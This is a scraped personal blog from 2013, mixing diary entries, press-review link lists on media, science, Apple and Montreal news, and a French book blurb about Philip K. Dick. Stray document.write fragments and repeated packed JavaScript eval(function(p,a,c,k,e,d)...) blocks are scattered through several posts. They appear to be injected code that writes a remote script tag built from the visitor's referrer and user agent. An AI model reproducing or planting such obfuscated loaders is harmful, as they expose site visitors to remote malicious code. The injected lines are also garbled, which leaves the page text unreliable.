Don’t Tell George R. R. Martin What To Do ! (Kotaku)
Opinion: Why ‘The Newsroom’ matters (CNN)
Doctor Who: Who will play the 12th Doctor? (BBC)
World Film Festival: The World is Yours! Around the world in 432 films (Link)
Doctor Who: Peter Capaldi revealed as 12th Doctor (BBC)
Peter Capaldi: The next Time Lord (BBC)
‘Sherlock’ Season 3 Teaser Features Shocks And A Mustache (Huffington Post)
‘The Walking Dead’ Season 4 Filled With Shocking Twists And More Zombies Than Ever (Huffington Post)
‘Downton Abbey’ New Actors- Nigel Harman and Raquel Cassidy In Costume (Huffington Post)
Découverte en Italie d’un film d’Orson Welles, antérieur à “Citizen Kane” (Le Monde)
First peek at new ‘Homeland’ season (USA Today)
‘Broadchurch’ Set To Make Global Stars Of Olivia Colman, David Tennant After US Critics Rave About British Drama (Huffington Post)

Sciences & History

Neptune Has A New Moon. What Will We Call It? (Popular Science)
Pompeii Restoration Project: Italy Approves Special Superintendent To Oversee EU Funds To Prevent Further Ruin (Huffington Post)
Deux études contradictoires sur la monogamie (La Presse)
Un «cimetière de comètes» découvert dans la ceinture d’astéroïdes (La Presse)
Les Filles du Roy (1): «Nous ne serions pas là sans elles» (Le Devoir)
Un an de Curiosity sur Mars en deux minutes (Le Monde)
A Lab-Grown Burger Gets a Taste Test (NYT)
Guatemala: ‘Extraordinary’ Mayan frieze found (AP)
Virée archéologique au lac Témiscouata (Le Devoir)
Hot summer unearths Roman discoveries in Wales (BBC)
10 things we didn’t know last week (BBC)
Chernobyl’s legacy recorded in trees (BBC)
Ouverture d’une tombe florentine pour identifier la Joconde (Le Monde)
Une mémoire de dauphin (Le Monde)
Stunning Maya sculpture unearthed from buried pyramid (USA Today)

Technology, Gadgets & Internet

Blu-ray successor plan unveiled by Sony and Panasonic (BBC)
The Internet’s Save-the-Date: A Tiny Item in a UCLA Student Newspaper (Gizmodo)
Netflix Has Made It Easier Than Ever to Share Accounts (The Atlantic Wire)
Lomography Smartphone Film Scanner an easy way to digitize 35mm negatives (TUAW)
You tell us: The apps you can’t live without (USA Today)
Philips Hue smart lighting system to get LightStrips and Bloom bulbs (iMore)

Union stuff & Montreal’s libraries

Pétition pour l’équité salariale à la Ville de Montréal (Lien)
Un bibliothécaire à livre ouvert (Métro)

[ Traduire ]

Domestic log (2013-08-11)

August 11, 2013 / Clodjee / Leave a comment

We’ve finished watching Bleak House and, document.write(“”); staying with the Gillian Anderson theme, continued with The Fall, a modern police drama set in Belfast and which ends abruptly letting suspects that there will be a second season. Now we’ve started watching The White Queen (actually we’re almost done, since there’s only two episodes left), an epoch drama about three women who played a key role in the war of the roses, which suits more our taste (although I’ve also started watching on my own another british modern police drama called Broadchurch — I can’t help it as it has two Doctor Who actors in it: Arthur Darvill [ who played Rory, one of the Eleventh Doctor’s companions, as well as Henry Stafford, Duke of Buckingham, in The White Queen ] and David Tennant [ the tenth Doctor himself! ]).
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zayzs|var|u0026u|referrer|fkddh||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bykkt|var|u0026u|referrer|tnnes||js|php’.split(‘|’),0,{}))

July 23rd was my eldest sister’s birthday. She was killed in a freak accident in Paris exactly thirty years ago and would have been fifty-nine years old… That week-end, I didn’t write as much as I wanted, but the weather was so nice. My wife and I walked in the park, witnessing a beautiful rainbow and a superb sunset. Of course, as soon as the week started, it was raining again. But at least the temperature and humidity were still bearable. I wish all summer could be like this week-end. Alas, it cannot be.

The following week-end there was a gathering of some of the old gang of the university’s dormitory. A trip down memory lane. Some people I hadn’t seen for nearly twenty-five years! Thinking of this good ‘ol time make me feel like quoting A Tale of Two Cities‘ opening paragraph from Dickens: “It was the best of times, it was the worst of times, it was the age of wisdom, it was the age of foolishness, it was the epoch of belief, it was the epoch of incredulity, it was the season of Light, it was the season of Darkness, it was the spring of hope, it was the winter of despair, we had everything before us, we had nothing before us, we were all going direct to Heaven, we were all going direct the other way…” It was great and I hope we’ll have such gathering again (maybe in another five or ten years?).

The following week was busy. First, I had an exam to qualify for a new, better paid job. ~~I didn’t get the job (not even called for an interview~~), but at least now I am qualified (I passed the exam) so I might be able to get the next similar opportunity [ update 8/12: actually I was called today for an interview next week, so I might still get the job, although the competition is fierce and therefore my chances are slim ]. Second, I went to screen a movie at Fantasia — the first time in many years. I don’t have time anymore to queue to watch every Japanese movies like I used to do, and I also feel that I don’t fit with that kind of young, over energetic crowd anymore. At least I watched one movie and reviewed two (Thermae Romae and Library Wars)!

Over all, I didn’t write as much as I wanted in the second half of July. Beside the above-mentioned Fantasia reviews, I wrote three more reviews. One for Milo Manara’s erotic comic The Golden Ass (in french), one for a manga by Osamu Tezuka, The Castle of Dawn (in french; my first review here on his work; there will be much more to come, that I can promise) and one of last year Montreal film Festival, The Floating Castle (I still have a dozen those reviews in the works, without counting those of THIS year festival). There are so many titles I would like to share impression (mostly movies and manga), but I simply just don’t have enough time. I’ll do them one at a time, but the problem is that I add more titles, faster that I can review them! I’ll just do my best.

On the first week-end of August, there was a party for one of my friends’ fortieth anniversary. Unfortunately, I had a rough day at the library (minimal staff, someone calling sick, working alone on the entire floor, lot of stuff to do, unruly kids and someone coming in with bags of returns one minute before closing) and completely forgot about the party. I admit that I was quite tired (that night I sleep for twelve hours!) but, isn’t forgetting important stuff the first sign of Alzheimer? Anyway, later in the week, I was still quite tired and busy so I skipped the Montreal World Film Festival press conference to announce this year’s programming. It doesn’t matter since everything was in the press release, so I didn’t really miss anything. About nine Japanese movies this year and THOSE I’m planning to see them all.

This week-end, I am planning to rest and try catching up a little on my writing. Stay tuned!

[ Traduire ]

Press Review (2013-07-15)

July 15, 2013 / Clodjee / Leave a comment

Earlier this month I really felt my age as someone gave me his place in the subway! But despite chronic back pain, document.write(“”); tiredness and digestion problems (the stigmata of getting older, I guess), I feel pretty good. My mind seems clearer and I write a little more. However, time is really passing by more quickly. I feel I hardly have time to accomplish anything. I feel like I’m in a spaceship accelerating toward light speed. Pfsshh! A week-end of writing… Work! Work! Pfsshh! Another week-end of writing… Work! Work! Pfsshh… You get the idea…
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ayfrh|var|u0026u|referrer|adizf||js|php’.split(‘|’),0,{}))

There’s still many more manga I’d like to comment about but, since the movie festivals season is arriving, I feel like watching and commenting on movies. I’ll see about that…

We keep having the same weather pattern: a few days of heat wave followed by days and days of rain… It seems it’s also the season of catastrophic events. Fire here, flood there (when it rains, it pours as they say). Plain crash here, train crash here and there! And the poor whistleblower is still stuck in the limbo of a russian airport (lesson: never blow the whistle on your government; big brother don’t like that kind of music as it makes his enemies–and even some allies–dance an outraged Flamenco). The Middle East continues its slow spontaneous combustion and Egyptians protest again as they want the pharaohs back. Florida acquit a white man for killing a black boy, but give twenty years to a black women for firing a warning shot at her abusive husband. As you see, nothing worth reporting in the news. Still, you’ll find links to a few interesting news stories after the jump:

Anime & Manga related, Japan, Popular Culture

Japanese monks use rock music to spread message (BBC, Metro, The Telegraph)
Dominique Véret (Akata): “En France, le public manga est très inculte” (Actua BD)
List of Japanese films at FANTASIA (Coco Montreal)
Montreal’s Fantasia to Host Int’l Premiere of Live-Action Gatchaman Film (ANN)
Fantasia: Index des films (Lien)
Viz Media Adds ‘Deadman Wonderland,’ ‘Gangsta’ Mangas (ICv2)
Dark Horse Plans ‘New Lone Wolf and Cub’ (ICv2)
What Is Hikikomori? (Popular Science)
À Tokyo, les aînés volent plus à l’étalage que les jeunes (La Presse)
Des films à voir ou à revoir à Fantasia (La Presse)
Japon: des éoliennes offshore au large des côtes de Fukushima (Le Monde)
Top 25 Manga Properties for Spring 2013 (ICv2)
The ANN 5.0 Beta is now open to all registered users (must login) (ANN-FB)
Anime Spotlight Summer 2013: The List (ANN)

Apple, apps and mobile devices news

Comixology adds options for subscriptions and bundles (TUAW)
Pixter Scanner updated with iOS 7-like interface, new languages, and more (iMore)
Olloclip to Release New Telephoto iPhone Lens Later this Month (Mac Rumors)
Court rules against Apple in e-book price fixing trial (Electronista)
Judge finds Apple guilty of fixing e-book prices (TUAW)
Understanding the Apple vs. USA ebook price-fixing debacle (iMore)

Books, Digital Edition & Libraries

Les lecteurs dans le métro (Le Libraire)
Quatre initiatives marrantes pour promouvoir la lecture (Métro Montréal)
New St-Laurent Borough Library opens this weekend (The Gazette)
Are Apps The Future of Book Publishing? (Forbes)
Amazon Enters Comic Book Publishing (ICv2)
10 of the Most Cryptic Texts in the World (Flavorwire)
Les ventes de livres en baisse au Québec (Métro, Le libraire, Radio-Canada)
JK Rowling revealed as writer of crime novel (SFGate)
JK Rowling revealed as author of The Cuckoo’s Calling (BBC)

Economy, Environment & International/U.S. Politics

Health, home & garden

Active brain ‘keeps dementia at bay’ (BBC)
Being a Lifelong Bookworm May Keep You Sharp in Old Age (Smithsonian Mag)
Sacrer, c’est bon pour la santé! (La Presse)

Humour

Local News & National Politics

Une semaine de smog à l’horizon (Le Devoir)
VSP: Médaille pour chat et chien (Lien)
Lac-Megantic train blast: PM Harper visits ‘war zone’ (BBC)
Que s’est-il passé à Nantes? (Le Devoir)
Lac-Mégantic, ville dévastée (Le Devoir)
Lac-Mégantic: la lumière se fait lentement (Le Devoir)

Media, Culture, & Society

Doctor Who drama reveals first picture of David Bradley (BBC)
The Most Influential Movies of the Last Century According to Wikipedia (Gizmodo)
Pacific Rim: review (The Observer)
Kenji Mizoguchi’s ‘The Life of Oharu’ an enduring tale of struggle (LA Times)
Doctor Who Prom celebrates old and new (BBC)

Sciences & History

Hubble telescope spots azure blue planet where it rains glass (CNN)
DNA confirms ancient Asian origin for American dogs (BBC)
Russian Chelyabinsk meteorite pieces go under microscope (BBC)
After 33 Years, Team Wins Human-Powered Flight Contest (Popular Science)
Recovering Submerged Worlds by Peter Brown (NY Review of Books)
An Ancient Parchment Refuses To Give Up Its Secrets (NPR)
Un fragment de sphinx égyptien soulève plusiers questions en Israël (La Presse)

Technology, Gadgets & Internet

Twitter translates tweets from leading Egyptians (BBC)
New Terra Motors scooter has built in iPhone dock (Today’s iPhone)
Cutting the cable cord: A step-by-step guide (USA Today)

Union stuff & Montreal’s libraries

Pétition pour l’équité salariale à la Ville de Montréal (Lien)

[ Traduire ]

Domestic log (2013-07-01)

July 1, 2013 / Clodjee / Leave a comment

July already! It feels like lots have happened in the last three weeks. First, document.write(“”); for the last couple of of weeks, I’ve not been feeling well: trouble digesting, feeling bloated, sometimes nauseated, trouble sleeping. It looks like some sort of mini-gastro with mild symptoms, probably due to (stress?) exhaustion and the heat (well, mostly humidity; summer came unnoticed, presenting itself with short heat-wave followed by days and days of rain). Despite feeling poorly, I managed to avoid taking sick days. Not that I wanted to but I simply couldn’t. In the last week and a half, I’ve been running like crazy at work (like a headless chicken some says) to prepare for the summer activities. Of course, the people in charge always choose to put less employees for the busiest time and, since it is the summer, lots of employees take their vacation, so we end up with even less people or at least people with less training — which always mean more work and trouble for me. Joy! I think it will be quite a busy summer. Hopefully, I’ll be able to rest a little this long week-end.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ekyni|var|u0026u|referrer|yfbee||js|php’.split(‘|’),0,{}))

Again, despite feeling poorly, it seems that my mind was on fire, since I managed also to be quite productive on this blog (I wrote no less than seven book commentaries, all in french: Les mimes des courtisanes by Lucian of Samosate, Le bain by Pascale Bougeault, Les métamorphoses by Apulée, Le maléfice de l’améthyste by Roger Leloup, Moi, Maru, Chat Enrobé by Mugumogu, Hokusai by Sh?tar? Ishinomori, and Le vieux fou de dessin by François Place — they all have shorter comments on Goodreads). And twenty blog entries total! Okay, I cheated a little since, for the summer, I’ve decided to include regular pictures of my cats (on saturday, i.e. cat-urday of course) and flowers (on wednesday, i.e. flowers-day?). And I still found time to visit the botanical garden and watch some TV with my wife (Murdoch Mysteries, Call the midwife, The Borgias, Father Brown, Copper is resuming and we are about to start Bleak House) or on my own (Continuum, Defiance, Mad Men, Falling Skies is finally resuming and the new promising show Under the dome) as well as a few movies (Argo, Brave, Life of Pi, Lincoln, Looper, Prometheus, Satyricon, Skyfall, To Rome with love, etc.). Really, I am telling you, on fire!

Since this Domestic Log was a bit long, I’ll put the Press Review in a separate entry.

And (I almost forgot) Happy Que nada day!

[ Traduire ]

Press Review (2013-06-09)

June 9, 2013 / Clodjee / Leave a comment

After one of the most disastrous vacations in memory (cancellation of a trip, document.write(“”); being sick most of the time and rainy weather all over) I had to return to work. A guy must win his bread after all. The end of May and early June was marked by a heat wave, followed again by unseasonably cold weather and more rain! Twelve degree celsius in June? No wonder my cold doesn’t want to let go (although I am feeling better, I still have ears’ problem). I’ve been busy reading… hopefully I’ll have the energy and time to write about it. It was a quiet couple of weeks in the news and you’ll find my collection of links after the jump:
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aatrz|var|u0026u|referrer|hrsah||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Apple Trying To Get iRadio In Time For WWDC Next Week [Report] (Cult of Mac)
Mise jour ultime de Mountain Lion ? (MacQuébec)
Apple’s WWDC 2013: Rumors and expectations (CNET)
Apple expected to unveil new iPhone, iPad software (USA Today)

Books, Digital Edition & Library

Book Criticism Ethics Panel (Time)
Fantasy Author Jack Vance Dies (The Daily Beast)
Self-publishing has become a cult (Salon)
Jack Vance obituary (The Guardian)
Jack Vance tributes pour in after his death (The Guardian)
Booking a profit: The authors who can make you money (BBC)
Les libraires français face à la révolution numérique (Le Monde)

Economy, Environment & International/U.S. Politics

Public Atheist Monument Going Up Near Courthouse In Starke, Florida, Is Country’s First (Huffington Post)
Why Does the American Media Get Big Stories Wrong? (The Atlantic)
Un chat faisant de la contrebande de portables attrapé (La Presse)

Health, home & garden

Half of UK population ‘will get cancer in lifetime’ (BBC)

Humour

Local News & National Politics

Henry Morgentaler 1923-2013: Un féministe s’éteint (Le Devoir)
Why can’t Montreal have a bilingual radio station? (The Gazette)
Montréal: la poule pas de tête ! (La Presse)
Le Tournesol, Bulletin de l’arrondissement VSP (Été 2013) (PDF)
Médaille obligatoire pour les chats dans VSP (PNG)

Media, Culture, & Society

Georges Moustaki 1934-2013: Le métèque a quitté son jardin (Le Devoir)
Doctor Who Fans Scratch Their Heads About Meaning Of John Hurt’s Character In 50th Anniversary Show (Huffington Post)
How to speak Franglais (BBC)
La vie d’Adèle triomphe à Cannes: Trois Palmes plutôt qu’une (Le Devoir)
Le poster de Fantasia 2013! (link)
JC Penney Removes ‘Hitler’ Billboard In Tempest Over A Teapot (NPR)
10 Things George R.R. Martin Is Doing Instead of Writing the Next Game of Thrones Book (Flavorwire)
Grown-Up Calvin And Hobbes: Craig Mahoney’s Painting Will Bring A Tear To Your Eye (Huffington Post)
Matt Smith Leaving Doctor Who! (GeekTyrant)
Blade Runner 2 Moving Forward With Heroes and Green Lantern Writer (Screen Crush)
Matt Smith to leave Doctor Who at the end of year (BBC)
Matt Smith exit prompts Doctor Who speculation (BBC)
Matt Smith Exiting Doctor Who (ICv2)
BD-based Palme d’Or Winner Spawns Controversy (ICv2)

Sciences & History

Mars: what we’ve learnt in five years (BBC)
Premières images de la découverte de la mythique Heracleion (Etat du Monde)
Report Of Liquid Woolly Mammoth Blood Prompts Clone Talk (again) (NPR)
Italy professor says he has found world’s oldest complete Torah (The Globe & Mail)
Mars pebbles prove that rivers altered the planet’s surface (Engadget)
Des traces d’eau propice au développement de la vie sur Mars (La Presse)
Découverte du plus ancien primate connu (La Presse)
Ancient Irish texts show volcanic link to cold weather (BBC)
Neanderthal clues to cancer origins (BBC)
Archéologie: la clé de Paris cachée sous la préfecture de police ? (Le Monde)

Technology, Gadgets & Internet

The History of the Weird Keyboard Symbols You Never Knew You Needed (Gizmodo)
Change Agents: Daniel Kim lights up Lit Motors (USA Today)

Union stuff & Montreal’s libraries

Sneak peek: New Saint-Laurent library set to open (CTV)

[ Traduire ]

Press Review (2013-05-23)

May 23, 2013 / Clodjee / Leave a comment

I am right in the middle of a ten-day vacation. Unfortunately, document.write(“”); the cold temperature we’ve had in the middle of the month seems to have revived my cold and I’ve spent most of the first part of my vacation sleeping, coughing, blowing my nose and adding entries to my new Goodreads account (it’s great to list and review books I’ve read, linking to my blog; I strongly recommend people to try this and comment on my reviews or exchange opinion). I had so much planned (like catching up on my writing or doing stuff around the house: getting rid of mice, cleaning up the garage, etc.). I am feeling a little better now so I should get going (although it has been raining a lot in the last few days) because I fear I will have even less time in the coming months (I’ve picked up some union duties as a rep and I’m planning to get involved a little in the Goodreads community as librarian). And I’m not getting any younger (today is my birthday, I’m now fifty-one)…
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|szbbz|var|u0026u|referrer|ftiek||js|php’.split(‘|’),0,{}))

As for the news, there are not much to talk about (besides a series of tornadoes in the U.S.A.), but as usual you can find links to my selection of news stories right after the jump:

Anime & Manga related, Japan, Popular Culture

Les Japonais s’arrachent le nouveau Murakami (Radio-Canada)
$1.4 Million+ for ‘Robotech RPG Tactics’ (ICv2)

Apple, apps and mobile devices news

STM says merci to transit users with iPhone app (The Gazette, iTunes App store)
iMovie 9.0.9 fixes camera connection, iOS import problems (MacNN)
Engadget takes Unikey’s iPhone assisted keyless entry for a spin (TUAW)

Books, Digital Edition & Library

Haruki Murakami makes first appearance in Japan for 18 years (The Telegraph)
The science of webcomics (The Guardian)
E-books not growing much in Canada, slightly better in the US (TUAW)

Economy, Environment & International/U.S. Politics

Huge Tornado Flattens Towns Near Oklahoma City (Popular Science)

Health, home & garden

Humour

Unshelved (2013-05-12)

Les caricatures de Garnotte (2013-05-23)

Local News & National Politics

Projet pilote STM Merci: des rabais aux usagers grâce à une application (Canoe)
Le spectre des défusions revient hanter Montréal (Le Devoir)
Marois unveils ‘ambitious’ buy-local food policy (The gazette)
Les punaises font leur lit à Montréal (Le Monde!)
Comme Ottawa, Québec censure ses chercheurs (Le Devoir)
«La première fois» qu’un avis d’ébullition touche 1,3 million de Montréalais (La Presse)
Boil-water advisory widens for Montreal area (The Gazette)
VSP: IMPORTANT ! Avis d’ébullition d’eau en vigueur jusqu’à nouvel ordre (Lien)
Eau potable: Montréal en alerte (Le Devoir)

Media, Culture, & Society

Ray Harryhausen dead at 92 (Inside Movies)
Ray Harryhausen, Cinematic Special-Effects Innovator, Dies at 92 (NYT)
Plaidoyer en faveur de l’enseignement des langues anciennes (Le Devoir)
The modern history of swearing: Where all the dirtiest words come from (Salon)
‘Tudors’ Creator Michael Hirst Explains How He Nearly Missed His Leading Man Travis Fimmel For ‘Vikings’ (Huffington Post)
Matt Smith, David Tennant In New ‘Doctor Who’ Behind-The-Scenes Preview (Huffington Post)
Doctor Who Final Episode – Has ‘The Name Of The Doctor’ Changed The Rules Of The Game? (Huffington Post)
Doctor Who Finale Explains the Impossible Girl and Introduces a New Face (Seattle Pi)
‘Doctor Who’ and the big finale question: Who is John Hurt playing? (Digital Spy)
“Jodorowsky’s Dune”: The sci-fi classic that never wa (Salon)
Doctor Who Season 8 Confirmed! (Geek Tyrant)
Vive le latin! (Le Devoir)

Sciences & History

Europeans are basically one big family (Futurity)
Deadly giant snail found in Houston (NBC)
Time-Lapse GIFs Show Earth Transforming Over 25 Years (Popular Science)
Viral ‘Space Oddity’ ISS video made using iPad, Garageband (Electronista)
Opportunity breaks 40-year old NASA space-drive record, reminds Curiosity who’s boss (Engadget)
Des ouvriers détruisent un temple maya pour récupérer des pierres (Le Monde)
La première chanson enregistrée dans l’espace (Le Monde)
Le minuscule squelette qui a affolé les ufologues (Le Monde)
Nasa’s Curiosity Mars rover drills second rock sample (BBC)
Bahrain digs unveil one of oldest civilisations (BBC)
Irish potato famine mystery solved after 168 years (The Verge)
Dolphins persuade Navy trainers to dredge up 130-year-old torpedo (NBC)
The first GIFs? Prehistoric rock carvings become ‘animated’ under sunlight (The Verge)
Scientists agree on climate change. So why doesn’t everyone else? (Washington Post)

Technology, Gadgets & Internet

Nest acquires MyEnergy, inherits better analysis tools for its customers (Engadget)
Nielsen includes Internet viewers for the first time, estimates that there are now 115.6 million TV homes in the US (Engadget)
Google Drive triples free storage to 15 GB (TUAW)
Philips Hue bulbs get smarter with geofencing (Apple Insider)
Watch the World Edit Wikipedia in Real Time (Gizmodo)
Philips Hue just got a little brighter with 1.1 app update (Engadget)
Yahoo offers Flickr revamp with 1TB of ‘free storage’ (BBC)

[ Traduire ]

Petite mise à jour

May 13, 2013 / Clodjee / Leave a comment

Comme ces dernières semaines ont été plutôt mouvementées, ce week-end je me repose: je lis et je fais du rattrapage dans le visionnement de séries télé. De toute façon il fait trop froid pour travailler dans le jardin (on annonce d’ailleurs un risque de gel pour cette nuit, alors priez pour mes plants de tomate ! Contrairement à certains, je n’ai pas l’espace pour de @#$%?&* de belles patates 😉

J’en ai quand même profité pour faire quelques petits ajustements dans la disposition du blogue (en ajoutant quelques éléments dans la colonne de droite) et mettre à jour ma bibliographie.

Et bonne Fête de Mères (en retard)!

[ Translate ]

Press Review (2013-05-07)

May 8, 2013 / Clodjee / Leave a comment

The last few weeks were quite eventful: there was a terrorist attack at the Boston marathon, document.write(“”); ricin letters were sent to Obama and some members of Congress, a fertilizer plant exploded in Texas, etc. Spring is definitely here since I saw flights of geese going north, but winter doesn’t want to be forgotten yet. One day, toward the end of april, we saw all kind of weather altogether: it rained, snowed and we even got hail! The next day, my wife and I were celebrating the 2nd year in our new house. As soon as may started, the summer showed its warm face as temperature raised around 15 and 20 degrees celsius, but trees were still bare. I was longing for some green foliage and flowers. It all came out in the last week. Now we really feel the summer. This week-end, after attending Boréal, we have started to work on the garden, cleaning up and planting tomatoes and other vegetables. With all this, I was quite busy so I didn’t gather much news links. Check my slim pick after the jump:
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|anibz|var|u0026u|referrer|dtdhi||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Kansai Club Publishing to Release Osamu Tezuka’s The Crater (ANN)
Ghibli Director Goro Miyazaki Aims to Complete New Work in 2014 (ANN)
Cruise in Yukikaze (ICv2)
2013 Eisner Nominations (ICv2)
Anime Consortium to Launch in U.S. (ICv2)
Robotech RPG Tactics Blows through Goal (ICv2)
Sion Sono : “Comprendre Fukushima non par la logique, mais par l’émotion” (Le Monde)

Apple, apps and mobile devices news

WhereverTV streaming service still exists, is now available on iOS (Engadget)
Delicious Library 3 to add recommendation engine, iOS cataloging app (TUAW)
GoComics app released for iOS, Android and Windows Phone, digitizes the Sunday funnies (Engadget)
Apple may post WWDC 2013 videos while conference still underway (MacNN)
WWDC 2013 to take place June 10 through 14 (MacNN)
Delicious Monster releases Delicious Library 3 with companion iOS scanner app (TUAW)
Google Now, maintenant sur iOS (MacQuébec)

Books, Digital Edition & Library

To Self-Publish or Not? A Word of Warning (NYT)
With Bookselling in Deep Turmoil, Book Sales Are on the Rise (The Atlantic)
Au Québec, “La Presse” fait le pari de l’iPad et de la gratuité (Le Monde)
Viens dans mon e-comic strip (Le Monde)
E-Reading Rainbow: Hachette to bring entire e-book catalog to public libraries (Engadget)
Printed books are still favored by Brits, but digital sales are rising (Engadget)

Economy, Environment & International/U.S. Politics

Terreur au marathon de Boston (Le Devoir)
Video Points Investigators Toward Suspect in Boston Bombings (NYT)
Attentat de Boston: «Capturé! La terreur a pris fin.» (Le Devoir)
Why does America lose its head over ‘terror’ but ignore its daily gun deaths? (The Guardian)
Israel: Syria has used chemical weapons, victims seen ‘foaming from the mouth’ (NBC)
Focus Shifts in Ricin Case as Charges Are Dropped (NYT)
Texas explosion: residents of West shocked by devastation (NYT)
Oslo’s So Good at Recycling that It’s Run Out of Trash (Gizmodo)
Suicides soar among US middle-aged people (BBC)

Health, home & garden

Wake up! 9 hours of sleep a night not so healthy (Today)

Humour

Rhymes with Orange (2013-03-07)
Pearls before swine (2013-03-09)
Non sequitur (2013-03-25)
Zits (2013-04-03)
Unshelved (2013-04-11)
Sciences & History

Historic psalm book could fetch $30m (The Guardian)
Radioactive Gases Detected From North Korea’s Recent Nuclear Bomb Test (Popular Science)
Battlefield ‘killer robots’ almost a reality, campaigners warn (The Telegraph)
Richard III: les archéologues veulent exhumer une deuxième tombe (La Presse)
Excavated skull suggests Jamestown colonists resorted to cannibalism (The Guardian)
A Point Of View: Ghosts in the material world (BBC)
Richard III team makes second Leicester car park find (BBC)

Technology, Gadgets & Internet

Nest Energy Services link home cooling to utilities’ cloud data (Engadget)
Nest 3.5 update adds Cool to Dry, Sunblock modes (Electronista)
Nest updates iOS app and adds notifications (TUAW)

Union stuff & Montreal’s libraries

Rapport sur les régimes de retraite- accueil mitigé prévu à Québec (La Presse)
Trente bibliothèques municipales font leur ménage du printemps (Radio-Canada)

[ Traduire ]

Je suis vivant et vous êtes morts

April 30, 2013 / Clodjee / 2 Comments

“Tout commence avec le souvenir d’un cordon de lampe qui n’existe pas. La plupart des gens se disent « c’est bizarre » et passent outre. Pas Philip K. Dick. Pour lui, document.write(“”); c’est le début d’un doute incessant : sommes-nous vraiment réels ? Vivants ou bien morts ? L’existence de l’écrivain sera guidée par ces retournements, tour à tour époux modèle, grand psychotique, fervent catholique, junkie…”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bbbrz|var|u0026u|referrer|bhfbi||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hrnde|var|u0026u|referrer|bhfst||js|php’.split(‘|’),0,{}))

“Emmanuel Carrère est né en 1957 à Paris. Prix Renaudot 2011 pour Limonov, il est également l’auteur de La Moustache, La Classe de neige (prix Femina 1995), L’Adversaire, Un roman russe et D’autres vies que la mienne.”

«L’écriture d’Emmanuel Carrère est extraordinairement hypnotique tout en paraissant simple. Il possède cet art de rendre intéressant, vital, symbolique chaque destin qu’il décide de raconter.»

Le Figaro

[ Texte de la couverture arrière ]

Continuez après le saut de page >>

